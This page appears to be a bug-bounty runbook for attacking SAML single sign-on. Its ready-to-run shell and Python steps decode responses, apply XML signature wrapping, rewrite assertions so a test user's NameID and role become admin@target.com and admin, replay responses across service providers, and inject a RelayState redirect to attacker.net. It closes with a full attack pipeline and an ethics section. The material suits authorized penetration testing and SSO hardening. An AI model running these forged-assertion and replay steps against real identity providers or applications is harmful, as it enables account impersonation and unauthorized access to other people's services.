Webupdated Oct 1, 2026

SAML Attacks

Attacking SAML SSO through signature wrapping, assertion tampering, and audience/recipient confusion to impersonate users.

toolbox:saml-raiderxmllintcurl

A SAML attack runbook for bug bounty / authorized pentest on in-scope targets only. Goal: forge or replay an assertion the SP accepts as a trusted identity via signature-wrapping or validation gaps, proving impersonation of an account you control.

1. Capture and decode the flow

echo "$SAML_B64" | base64 -d | xmllint --format - > response.xml
xmllint --format response.xml | less

Trace: SP → IdP SAMLRequest, IdP → SP SAMLResponse, then signature validation and NameID/attribute reads. The response passes through your browser, so it is tamperable.

2. Load into SAML Raider

curl -s -x http://127.0.0.1:8080 -X POST "https://target.com/saml/acs" \
  --data-urlencode "SAMLResponse=$SAML_B64"

In SAML Raider, note the signature scope (response vs assertion), the canonicalization, and the signed reference ID.

3. XML signature wrapping (XSW)

Keep the valid signature while making a forged assertion the one consumed.

cp response.xml xsw.xml
python3 - <<'PY'
x = open("xsw.xml").read()
x = x.replace("<saml:Assertion", "<saml:Assertion Foo=\"orig\"", 1)
open("xsw.xml","w").write(x)
PY
# move the signed assertion into an unused element and add your NameID as the processed one
base64 -w0 xsw.xml

Try namespace/ID vs wsu:Id confusion and duplicate elements.

4. Assertion tampering on unsigned fields

python3 - <<'PY'
x = open("response.xml").read()
x = x.replace("user@test.com", "admin@target.com")
x = x.replace("<saml:AttributeValue>user</saml:AttributeValue>",
              "<saml:AttributeValue>admin</saml:AttributeValue>")
open("tampered.xml","w").write(x)
PY
base64 -w0 tampered.xml > tampered.b64

5. Comment, audience, and recipient tests

# Replay a response meant for SP A against SP B
curl -s -X POST "https://target-b.com/saml/acs" \
  --data-urlencode "SAMLResponse=$SAML_B64" -i

# RelayState open redirect
curl -s -X POST "https://target.com/saml/acs" \
  --data-urlencode "SAMLResponse=$SAML_B64" \
  --data-urlencode "RelayState=https://attacker.net" -i

Also test comment confusion in NameID and IdP-initiated flows with no InResponseTo.

Full pipeline

B="https://target.com"
echo "$SAML_B64" | base64 -d | xmllint --format - > response.xml
curl -s -x http://127.0.0.1:8080 -X POST "$B/saml/acs" \
  --data-urlencode "SAMLResponse=$SAML_B64" -i
python3 - <<'PY'
x = open("response.xml").read()
x = x.replace("user@test.com", "admin@target.com")
open("tampered.xml","w").write(x)
PY
base64 -w0 tampered.xml > tampered.b64
curl -s -X POST "$B/saml/acs" --data-urlencode "SAMLResponse@tampered.b64" -i
curl -s -X POST "https://target-b.com/saml/acs" \
  --data-urlencode "SAMLResponse=$SAML_B64" -i
curl -s -X POST "$B/saml/acs" --data-urlencode "SAMLResponse=$SAML_B64" \
  --data-urlencode "RelayState=https://attacker.net" -i

Ethics & legality

  • Only impersonate accounts you own or are explicitly authorized to test.
  • Never tamper with or replay another real user’s assertion.
  • Keep SAML Raider and Burp logging enabled so every mutation is recorded.
  • Report validation gaps (missing audience/recipient/signature-scope checks) with the exact transcript.